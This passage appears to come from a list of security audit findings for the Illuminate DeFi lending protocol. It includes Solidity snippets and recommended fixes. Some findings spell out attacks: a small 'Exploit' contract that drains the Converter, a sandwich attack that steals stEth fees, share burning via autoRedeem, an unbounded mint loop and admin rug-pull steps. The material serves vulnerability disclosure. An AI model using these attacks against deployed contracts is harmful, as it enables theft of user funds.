) external unpaused(u, m, p) returns (bool) {
// Fetch the desired principal token
address principal = IMarketPlace(marketPlace).token(u, m, p);
// Transfer the users principal tokens to the lender contract
Safe.transferFrom(IERC20(principal), msg.sender, address(this), a);
// Mint the tokens received from the user
IERC5095(principalToken(u, m)).authMint(msg.sender, a);
emit Mint(p, u, m, a);
return true;
}'
Steps:
Lender.lend()
withp = 0
to get some Illuminate principal tokenstoken.approve()
givesLender
allowance to spend these tokens- loop:
Lender.mint()
withp = 0
minting more principal tokens
Tool used
Manual Review
Recommendation
In Lender.mint() ensure p != uint8(MarketPlace.Principals.Illuminate)) .
Duplicate of #108
rvierdiiev - ERC5095.deposit doesn't check if received shares is less then provided amount
rvierdiiev
medium
ERC5095.deposit doesn't check if received shares is less then provided amount
Summary
ERC5095.deposit
doesn't check if received shares is less then provided amount. In some cases this leads to lost of funds.
Vulnerability Detail
The main thing with principal tokens is to buy them when the price is lower (you can buy 101 token while paying only 100 base tokens) as underlying price and then at maturity time to get interest(for example in one month you will get 1 base token in our case).
ERC5095.deposit
function takes amount of base token that user wants to deposit and returns amount of shares that he received. To not have loses, the amount of shares should be at least bigger than amount of base tokens provided by user.
function deposit(address r, uint256 a) external override returns (uint256) {
if (block.timestamp > maturity) {
revert Exception(
21,
block.timestamp,
maturity,
address(0),
address(0)
);
}
uint128 shares = Cast.u128(previewDeposit(a));
Safe.transferFrom(IERC20(underlying), msg.sender, address(this), a);
// consider the hardcoded slippage limit, 4626 compliance requires no minimum param.
uint128 returned = IMarketPlace(marketplace).sellUnderlying(
underlying,
maturity,
Cast.u128(a),
shares - (shares / 100)
);
_transfer(address(this), r, returned);
return returned;
}
While calling market place, you can see that slippage of 1 percent is provided.
uint128 returned = IMarketPlace(marketplace).sellUnderlying(
underlying,
maturity,
Cast.u128(a),
shares - (shares / 100)
);
But this is not enough in some cases.
For example we have ERC5095
token with short maturity which provides 0.5%
of interests.
userA calls deposit
function with 1000 as base amount. He wants to get back 1005 share tokens. And after maturity time earn 5 tokens on this trade.
But because of slippage set to 1%
, it's possible that the price will change and user will receive 995 share tokens instead of 1005, which means that user has lost 5 base tokens.
I propose to add one more mechanism except of slippage. We need to check if returned shares amount is bigger then provided assets amount.
Impact
Lost of funds.
Code Snippet
Provided above.
Tool used
Manual Review
Recommendation
Add this check at the end
require(returned > a, "received less than provided")
Bnke0x0 - Deposits don't work with fee-on transfer tokens
Bnke0x0
medium
Deposits don't work with fee-on transfer tokens
Summary
Vulnerability Detail
There are ERC20 tokens that may make certain customizations to their ERC20 contracts. One type of these tokens is deflationary tokens that charge a certain fee for every transfer() or transferFrom().
Impact
The deposit() function will introduce unexpected balance inconsistencies when comparing internal asset records with external ERC20 token contracts.
Code Snippet
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/tokens/ERC5095.sol#L160
'Safe.transferFrom(IERC20(underlying), msg.sender, address(this), a);'
Tool used
Manual Review
Recommendation
One possible mitigation is to measure the asset change right before and after the asset-transferring routines
Duplicate of #116
rvierdiiev - Marketplace.setPrincipal do not approve needed allowance for Element vault and APWine router
rvierdiiev
medium
Marketplace.setPrincipal do not approve needed allowance for Element vault and APWine router
Summary
Marketplace.setPrincipal
do not approve needed allowance for Element vault
and APWine router
Vulnerability Detail
Marketplace.setPrincipal
is used to provide principal token for the base token and maturity when it was not set yet. To set PT you also provide protocol that this token belongs to.
In case of APWine
protocol there is special block of code to handle all needed allowance. But it is not enough.
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L231-L236
} else if (p == uint8(Principals.Apwine)) {
address futureVault = IAPWineToken(a).futureVault();
address interestBearingToken = IAPWineFutureVault(futureVault)
.getIBTAddress();
IRedeemer(redeemer).approve(interestBearingToken);
} else if (p == uint8(Principals.Notional)) {
In Marketplace.createMarket
function 2 more params are used to provide allowance of Lender for Element vault and APWine router.
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L182
ILender(lender).approve(u, e, a, t[7]);
But in setPrincipal
we don't have such params and allowance is not set. So Lender
will not be able to work with that tokens correctly.
Impact
Lender will not provide needed allowance and protocol integration will fail.
Code Snippet
Provided above.
Tool used
Manual Review
Recommendation
Add 2 more params as in createMarket
and call ILender(lender).approve(u, e, a, address(0));
Ruhum - Changing the converter in the Redeemer contract will break the redeem functionality for 3 principals
Ruhum
medium
Changing the converter in the Redeemer contract will break the redeem functionality for 3 principals
Summary
When Redeemer.setConverter()
is called to change the converter address, the redeem functionality for the Pendle, APWine, and Sense principal tokens will be broken.
Vulnerability Detail
The Redeemer contract has a function setConverter()
which allows the admin to update the converter
address. The Converter is used to swap tokens when redeeming the Pendle, APwine, and Sense principal tokens. But, for the Converter to be usable, the Redeemer contract has to approve it to access the respective tokens. Only the Marketplace can trigger the approval logic and it does it when a new market is created. So when the Converter contract is changed, the new one won't have the Redeemer contract's token approvals. Any calls to the Converter when redeeming Pendle, APWine, or Sense principal tokens will fail.
Impact
The user won't be able to redeem Pendle, APWine, and Sense principal tokens.
Code Snippet
setConverter()
: https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Redeemer.sol#L148-L152
Converter is used when redeeming the three principal tokens named above:
- https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Redeemer.sol#L303
- https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Redeemer.sol#L379
- https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Redeemer.sol#L580
Converter needs token approval because of the call to transferFrom
: https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Converter.sol#L27
Tool used
Manual Review
Recommendation
In setConverter()
, set the approvals for the new Converter address.
Duplicate of #223
0x0 - Users Sending Tokens To Contracts Stuck
0x0
medium
Users Sending Tokens To Contracts Stuck
Summary
Occasionally users accidentally send tokens to a contract instead of interacting via publicly available functions. These contracts don't account for this scenario.
Vulnerability Detail
Redeemer
Marketplace
Lender
Converter
There is no functionality in any of these contracts that would allow the return of tokens sent to these contracts accidentally.
Impact
- Users who accidentally send tokens to these contracts would not be able to retrieve them.
Code Snippet
contract Converter is IConverter {
Tool used
Manual Review
Recommendation
- Consider implementing functionality to these contracts that allows an administrator to return tokens accidentally sent.
kenzo - Lending on Swivel: protocol fees not taken when remainder of underlying is swapped in YieldPool
kenzo
medium
Lending on Swivel: protocol fees not taken when remainder of underlying is swapped in YieldPool
Summary
The lend
function for Swivel allows swapping the remainder underlying on Yield.
But it does not take protocol fees on this amount.
Vulnerability Detail
When executing orders on Swivel,
if the user has set e==true
and there is remaining underlying,
the lending function will swap these funds using YieldPool.
But it does not take the protocol fees on that amount.
Impact
Some protocol fees will be lost.
Users may even use this function to trade on the YieldPool without incurring protocol fees.
While I think it can be rightfully said that at that point they can just straight away trade on the YieldPool without incurring fees, that can also be said about the general Illuminate/Yield lend
function, which swaps on the YieldPool and does extract fees.
Code Snippet
In Swivel's lend
function,
if the user has set e
to true,
the following block will be executed.
Note that no fees are extracted from the raw balance.
if (e) {
// Calculate the premium
uint256 premium = IERC20(u).balanceOf(address(this)) - starting;
// Swap the premium for Illuminate principal tokens
swivelLendPremium(u, m, y, premium, premiumSlippage);
}
swivelLendPremium
being:
// Lend remaining funds to Illuminate's Yield Space Pool
uint256 swapped = yield(u, y, p, address(this), IMarketPlace(marketPlace).token(u, m, 0), slippageTolerance);
// Mint the remaining tokens
IERC5095(principalToken(u, m)).authMint(msg.sender, swapped);
And yield
doesn't take protocol fees either. So the fees are lost from the premium.
Tool used
Manual Review
Recommendation
In the if(e)
block of Swivel's lend
, extract the protocol fee from premium
.
Bnke0x0 - Centralisation Risk: Admin Can Change Important Variables To Steal Funds
Bnke0x0
medium
Centralisation Risk: Admin Can Change Important Variables To Steal Funds
Summary
Vulnerability Detail
Impact
There are numerous methods that the admin could apply to rug pull the protocol and take all user funds.
Lender.approve()
- Both the functions on lines QA Report #78 and RISK OF FUNCTION CLASHING #107.
- Admin can approve any token for an arbitrary address and transfer tokens out.
Lender.setFee()
- Does not have an lower limit.
feeNominator = 1
implies 100% of the amount is taken as fees.
Lender.withdraw()
- Allows withdrawing any arbitrary ERC20 token
- 3 Days is insufficient time for users to withdraw funds in the case of a rugpull.
MarketPlace.setPrincipal()
- Use (u, m, 0) -> to be an existing Illuminate PT from another market
- Then set (u, m, 1) -> to be some malicious admin-created ERC20 token to which they have an infinite supply
- Then call
Lender.mint()
for `(u, m, 1) and later redeem these tokens on the original market
Code Snippet
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L146
'function approve('
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L219
'function setAdmin(address a) external authorized(admin) returns (bool) {'
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L228
'function setFee(uint256 f) external authorized(admin) returns (bool) {'
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L252-L256
' function setMarketPlace(address m)
external
authorized(admin)
returns (bool)
{'
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L785-L789
' function scheduleWithdrawal(address e)
external
authorized(admin)
returns (bool)
{'
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L801-L805
' function blockWithdrawal(address e)
external
authorized(admin)
returns (bool)
{'
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L813
'function scheduleFeeChange() external authorized(admin) returns (bool) {'
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L823
'function blockFeeChange() external authorized(admin) returns (bool) {'
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L834
'function withdraw(address e) external authorized(admin) returns (bool) {'
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L857
'function withdrawFee(address e) external authorized(admin) returns (bool) {'
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L879-L884
' function pause(
address u,
uint256 m,
uint8 p,
bool b
) external authorized(admin) returns (bool) {'
Tool used
Manual Review
Recommendation
Without significant redesign, it is not possible to avoid the admin being able to rug-pull the protocol.
As a result, the recommendation is to set all admin functions behind either a time-locked DAO or at least a time-locked multi-sig contract.
csanuragjain - User can steal contract existing balance
csanuragjain
medium
User can steal contract existing balance
Summary
If contract has an existing balance while converting then user can sweep away that existing balance as part of conversion
Vulnerability Detail
- Assume contract has existing balance of amount 100
- User A calls the convert function which went for Lido conversion using amount 50
function convert(
address c,
address u,
uint256 a
) external {
...
catch {
// get the current balance of wstETH
uint256 balance = IERC20(c).balanceOf(address(this));
// unwrap wrapped staked eth
uint256 unwrapped = ILido(c).unwrap(balance);
// Send the unwrapped staked ETH to the caller
Safe.transfer(IERC20(u), msg.sender, unwrapped);
}
}
- In this case balance will be come as 150 even though user only paid amount 50 due to previous balance causing conversion in giving more amount to user than required
Impact
User will more underlying token even though he paid lesser compounding token
Code Snippet
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Converter.sol#L21
Tool used
Manual Review
Recommendation
Revise the function as below:
function convert(
address c,
address u,
uint256 a
) external {
uint256 prevBalance = IERC20(c).balanceOf(address(this));
Safe.transferFrom(IERC20(c), msg.sender, address(this), a);
...
catch {
// get the current balance of wstETH
uint256 balance = IERC20(c).balanceOf(address(this));
balance-=prevBalance;
// unwrap wrapped staked eth
uint256 unwrapped = ILido(c).unwrap(balance);
// Send the unwrapped staked ETH to the caller
Safe.transfer(IERC20(u), msg.sender, unwrapped);
}
0x1f8b - Drain any contracts that inherit from `Converter`
0x1f8b
high
Drain any contracts that inherit from Converter
Summary
It's possible to drain any contracts that inherit from Converter
.
Vulnerability Detail
The problem with the Converter.convert
method is that it can be called by anyone, and it also relies on user input to transfer funds, so with a contract like the following:
pragma solidity 0.8.17;
contract Exploit {
function transferFrom(address c, address u, uint256 a) external returns (bool){ return true; }
function POOL() external returns (address){ return address(this); }
function withdraw(address u, uint256 a, address s) external { require(false, "ERROR!"); }
function redeem(uint256 a) external returns (bool) { return true; }
}
And call it like:
- Attacker deploy Exploit.
- Attacker call the converter method with:
- c = The Exploit contract.
- u = token to steal, USDT for example.
- a = 0.
- When
withdraw
revert it will transfer the funds to the attacker.
Impact
Lose all tokens.
Code Snippet
function convert(address c, address u, uint256 a) external {
Safe.transferFrom(IERC20(c), msg.sender, address(this), a);
try IAaveAToken(c).POOL() returns (address pool) {
Safe.approve(IERC20(u), pool, a);
IAaveLendingPool(pool).withdraw(u, a, msg.sender);
} catch {
try ICompoundToken(c).redeem(a) {
uint256 balance = IERC20(u).balanceOf(address(this));
Safe.transfer(IERC20(u), msg.sender, balance);
} catch {
uint256 balance = IERC20(c).balanceOf(address(this));
uint256 unwrapped = ILido(c).unwrap(balance);
Safe.transfer(IERC20(u), msg.sender, unwrapped);
}
}
}
Tool used
Manual Review
Recommendation
- Add sender checks or pool whitelist
Duplicate of #152
kenzo - User-supplied AMM pools and no input validation allows stealing of stEth protocol fees
kenzo
high
User-supplied AMM pools and no input validation allows stealing of stEth protocol fees
Summary
Some of the protocols lend
methods take as user input the underlying asset and the pool to swap on.
They do not check that they match.
Therefore a user can supply to Lender
DAI underlying,
instruct Lender
to swap stEth with 0 minAmountOut
,
and sandwich the transaction to 0, thereby stealing all of Lender's stEth fees.
Vulnerability Detail
In Tempus, APWine, Sense, Illuminate and Swivel's lend
methods,
the underlying, the pool to swap on, and the minAmountOut, are all user inputs.
There is no check that they match,
and the external swap parameters do not contain the actual asset to swap - only the pool to swap in. Which is a user input.
So an attacker can do the following, for example with APWine:
- Let's say
Lender
has accumulated 100 stEth in fees. - The attacker will call APWine's
lend
, withunderlying = DAI
,amount = 100 eth
,minimumAmountOfTokensToBuy = 0
, and AMM pool (x
) that is actually for stEth (tam tam tam!). lend
will pull 100 DAI from the attacker.lend
will call APWine's router with the stEth pool, and 0minAmountOut
. (I show this in code snippet section below).- The attacker will sandwich this whole
lend
call such thatLender
will receive nearly 0 tokens. This is possible since the user-suppliedminAmountOut
is 0. lend
will execute this swapping operation. It will receive nearly 0 APWine-stEth-PTs.- Since the attacker sandwiched this transaction to 0, he will gain all the stEth that Lender tried to swap - all the stEth fees of the protocol.
Impact
Theft of stEth fees, as detailed above.
Code Snippet
Here is APWine's lend
method.
You can notice the following things. Specifically note the swapExactAmountIn
operation.
- There is no check that user-supplied
pool
swaps tokenu
apwinePairPath()
andapwineTokenPath()
do not contain actual asset addresses, but only relative0
or1
- Therefore,
pool
can be totally unrelated tou
- The user supplies the slippage limit -
r
- so he can use0
- The swap will be executed for the same amount (minus fees) that has been pulled from the user; but user can supply DAI and swap for same amount of stEth, a Very Profitable Trading Strategy
- We call the real APWine router so
Lender
has already approved it
Because of these, the attack described above will succeed - the user can supply DAI as underlying, but actually make Lender swap stEth with 0 minAmountOut.
/// @notice lend method signature for APWine
/// @param p principal value according to the MarketPlace's Principals Enum
/// @param u address of an underlying asset
/// @param m maturity (timestamp) of the market
/// @param a amount of underlying tokens to lend
/// @param r slippage limit, minimum amount to PTs to buy
/// @param d deadline is a timestamp by which the swap must be executed
/// @param x APWine router that executes the swap
/// @param pool the AMM pool used by APWine to execute the swap
/// @return uint256 the amount of principal tokens lent out
function lend( uint8 p, address u, uint256 m, uint256 a, uint256 r, uint256 d, address x, address pool) external unpaused(u, m, p) returns (uint256) {
address principal = IMarketPlace(marketPlace).token(u, m, p);
// Transfer funds from user to Illuminate
Safe.transferFrom(IERC20(u), msg.sender, address(this), a);
uint256 lent;
{
// Add the accumulated fees to the total
uint256 fee = a / feenominator;
fees[u] = fees[u] + fee;
// Calculate amount to be lent out
lent = a - fee;
}
// Get the starting APWine token balance
uint256 starting = IERC20(principal).balanceOf(address(this));
// Swap on the APWine Pool using the provided market and params
IAPWineRouter(x).swapExactAmountIn(
pool,
apwinePairPath(),
apwineTokenPath(),
lent,
r,
address(this),
d,
address(0)
);
// Calculate the amount of APWine principal tokens received after the swap
uint256 received = IERC20(principal).balanceOf(address(this)) -
starting;
// Mint Illuminate zero coupons
IERC5095(principalToken(u, m)).authMint(msg.sender, received);
emit Lend(p, u, m, received, a, msg.sender);
return received;
}
function apwineTokenPath() internal pure returns (uint256[] memory) {
uint256[] memory tokenPath = new uint256[](2);
tokenPath[0] = 1;
tokenPath[1] = 0;
return tokenPath;
}
/// @notice returns array pair path required for APWine's swap method
/// @return array of uint256[] as laid out in APWine's docs
function apwinePairPath() internal pure returns (uint256[] memory) {
uint256[] memory pairPath = new uint256[](1);
pairPath[0] = 0;
return pairPath;
}
The situation is similar in:
Tempus
, wherex
is the pool to swap on.Sense
, whereadapter
is user-supplied.Illuminate
, where if the principal is Yield, the function is checking that the underlying token matches the pool. But the user can supply the principal to be Illuminate, bypassing this check, and supplying the YieldPooly
to be one that swaps stEth for fyEth.Swivel
, where I believe that the user can supply an order to swap stEth instead of DAI.
Tool used
Manual Review
Recommendation
Check that the user-supplied pool/adapter/order's tokens match the underlying. This should ensure that the user only swaps assets he supplied.
caventa - Lending fee could be 0 if the lending amount is too small
caventa
medium
Lending fee could be 0 if the lending amount is too small
Summary
Lending fee could be 0 if the lending amount is too small.
Vulnerability Detail
The lending fee is set to amount / feenominator (See all the code snippets mentioned below). If the amount is set to any value which is less than feenominator, the fee will be 0.
Impact
Assume that the lending fee cannot be 0, no lending fee is able to be charged.
Code Snippet
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L318
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L395
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L483
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L538
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L649
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L710
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L764
Tool used
Manual Review
Recommendation
We can add the following code just before any line of all the code snippets mentioned above.
if (a < feenominator) {
revert Exception(11, 0, 0, address(0), address(0)); // this 5 parameters can be any value
}
windowhan_kalosec - Pendle swapExactTokenforToken can not be worked
windowhan_kalosec
informational
Pendle swapExactTokenforToken can not be worked
sorry, I was mistaken.
Ruhum - Can't create multiple markets for ERC20 tokens that have approval protections
Ruhum
medium
Can't create multiple markets for ERC20 tokens that have approval protections
Summary
It's not possible to create multiple markets for the same ERC20 token when the token has protection against the approval race condition.
Vulnerability Detail
Some ERC20 tokens, e.g. USDT, only allow you to set the approval to value
In Marketplace.createMarket()
you call Lender.approve()
for a given token u
. The first time you create a market for token u
, there won't be any issues. But, the second time, Lender will already have set the approval amount to
Impact
For a given token u
that has protection against the approval race condition, you will only be able to create a single market.
Code Snippet
Lender.approve()
is called in Marketplace.createMarket()
: https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L182
It approves addresses a
, e
, and n
to spend the Lender's u
tokens: https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L194-L214
Btw, there's a mismatch in the parameter order in the call to Lender.approve()
. The function signature is approve(u, a, e, n)
but you call it with approve(u, e, a, n)
. The addresses of e
and a
are swapped. But, because the same logic is executed for both params, it's not a real issue.
Approval race condition protection implemented in the USDT contract: https://etherscan.io/token/0xdac17f958d2ee523a2206206994597c13d831ec7#code)
Tool used
Manual Review
Recommendation
approve()
should only be called if the current approval is set to 0
.
Duplicate of #99
kenzo - `autoRedeem` allows an attacker to burn user shares before underlying has been redeemed
kenzo
high
autoRedeem
allows an attacker to burn user shares before underlying has been redeemed
Summary
If a user has approved the autoRedeem
mechanism, anybody may burn his shares (for a small fee) upon maturity.
An attacker can burn such a user's shares before the underlying has been redeemed from the markets.
Then, the legitimate user would completely lose his assets,
and the attacker (which would also holds iPTs) will gain more underlying,
as his share of the pool will grow.
Vulnerability Detail
The autoRedeem
mechanism enables a user to allow anybody else to redeem his iPTs.
autoRedeem
just checks that the iPT has matured; it does not check whether the protocol markets have been redeemed yet.
Therefore, let's say that there are a few big whales who have approved using the autoRedeem
mechanism. And also an attacker which holds iPTs.
When the iPT has matured, the attacker would execute the following transactions on the top of the first block:
- Call
autoRedeem
for the whales. Their shares will be burned, getting nothing, as no markets have been redeemed yet. - The attacker will then redeem the various markets (Notional etc') (or just wait for somebody else to do so)
- The attacker will then redeem his own iPTs. Since he burned the users' tokens, his share of the pool is bigger, and he will receive more underlying than he deserves.
Impact
Loss of user funds, as detailed above.
Code Snippet
autoRedeem
allows anybody to burn a user's shares, as long as the user approved Redeemer
to spend his underlying tokens:
uint256 allowance = uToken.allowance(f[i], address(this));
uint256 amount = pt.balanceOf(f[i]);
...
if (allowance < amount) {
revert Exception(20, allowance, amount, address(0), address(0));
}
When calculating the amount to be redeemed, there is no check that any markets have been redeemed:
uint256 redeemed = (amount * holdings[u][m]) / pt.totalSupply();
And this line also shows that the attacker would gain more underlying as the totalSupply decreases.
Tool used
Manual Review
Recommendation
If you wish to keep this functionality, at the moment I see no alternative but to only allow redemption of iPTs after all the markets have been redeemed.
This issue is related to the issue that users might accidentally redeem their iPTs before all the markets have been redeemed, thereby losing their funds.
I think this autoRedeem
issue is worth an issue in itself as it describes a profitable malicious attack vector of the autoRedeem
mechanism.
But to fix both the issues, it seems to me that you need to only allow redemptions after markets have been redeemed.
Perhaps you can also add a emergencyRedeem
function that will redeem regardless of whether the markets have been redeemed.
I detail how I suggest to do it in the mitigation of issue #9.
Duplicate of #239
neumo - setPrincipal fails to approve Notional contract to spend lender's underlying tokens
neumo
medium
setPrincipal fails to approve Notional contract to spend lender's underlying tokens
Summary
If the Notional principal is not set at Marketplace creation, when trying to add it at a later time via setPrincipal, the call will not accomplish that the lender approves the notional contract to spend its underlying tokens, due to passing the zero address as underlying to the lender's approve function.
Vulnerability Detail
The vulnerability lies in line 238 of Marketplace contract:
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L238
Function approve of Lender contract expects the address of the underlying contract as the first parameter:
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L194-L214
As the underlying address passed in in the buggy line above is the zero address, uToken is also the zero adress and Safe.approve(uToken, n, max);
just calls approve on the zero address, which does nothing (not even reverting because there's no contract deployed there).
Impact
If there was no way for the lender contract to approve the notional address, I would rate this issue as High, but since there is an admin function function approve(address[] calldata u, address[] calldata a)
, the admin could fix this issue approving the notional contract over the underlying token, making the impact less severe. But in the meantime Notional's lending would revert due to the lack of approval.
Code Snippet
The following test, that can be added in the MarketPlace.t.sol file, proves this vulnerability:
function testIssueSetPrincipalNotional() public {
address notional = address(token7);
address[8] memory contracts;
contracts[0] = address(token0); // Swivel
contracts[1] = address(token1); // Yield
contracts[2] = address(token2); // Element
contracts[3] = address(token3); // Pendle
contracts[4] = address(token4); // Tempus
contracts[5] = address(token5); // Sense
contracts[6] = address(token6); // APWine
contracts[7] = address(0); // Notional unset at market creation
mock_erc20.ERC20(underlying).decimalsReturns(10);
mock_erc20.ERC20 compounding = new mock_erc20.ERC20();
token6.futureVaultReturns(address(apwfv));
apwfv.getIBTAddressReturns(address(compounding));
token3.underlyingYieldTokenReturns(address(compounding));
mp.createMarket(
address(underlying),
maturity,
contracts,
'test-token',
'tt',
address(elementVault),
address(apwineRouter)
);
// verify approvals
assertEq(r.approveCalled(), address(compounding));
// We verify that the notional address approved for address(0) is unset
(, , address approvedNotional) = l.approveCalled(address(0));
assertEq(approvedNotional, address(0));
// and that the approved notional for address(underlying) is unset
(, , approvedNotional) = l.approveCalled(address(underlying));
assertEq(approvedNotional, address(0));
// Then we call setPrincipal for the notional address
mp.setPrincipal(uint8(MarketPlace.Principals.Notional), address(underlying), maturity, notional);
// Now we verify that, after the call to setPrincipal, the notional address
// approved for address(0) is the Notional address provided in the call
(, , approvedNotional) = l.approveCalled(address(0));
assertEq(approvedNotional, notional);
// and that the approved notional for address(underlying) is still unset
(, , approvedNotional) = l.approveCalled(address(underlying));
assertEq(approvedNotional, address(0));
}
Tool used
Forge Tests and manual Review
Recommendation
Change this line in Marketplace.sol:
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Marketplace.sol#L238
with this:
ILender(lender).approve(address(u), address(0), address(0), a);
rvierdiiev - Redeemer.setFee function will always revert
rvierdiiev
medium
Redeemer.setFee function will always revert
Summary
Redeemer.setFee
function will always revert and will not give ability to change feenominator
.
Vulnerability Detail
Redeemer.setFee
function is designed to give ability to change feenominator
variable.
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Redeemer.sol#L168-L187
function setFee(uint256 f) external authorized(admin) returns (bool) {
uint256 feeTime = feeChange;
if (feeTime == 0) {
revert Exception(23, 0, 0, address(0), address(0));
} else if (feeTime < block.timestamp) {
revert Exception(
24,
block.timestamp,
feeTime,
address(0),
address(0)
);
} else if (f < MIN_FEENOMINATOR) {
revert Exception(25, 0, 0, address(0), address(0));
}
feenominator = f;
delete feeChange;
emit SetFee(f);
return true;
}
As feeChange
value is 0(it's not set anywhere), this function will always revert wtih Exception(23, 0, 0, address(0), address(0))
.
Also even if feeChange
was not 0, the function will give ability to change fee only once, because in the end it calls delete feeChange
which changes it to 0 again.
Impact
Fee can't be changed.
Code Snippet
Provided above.
Tool used
Manual Review
Recommendation
Add same functions as in Lender
.
https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L813-L829;
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.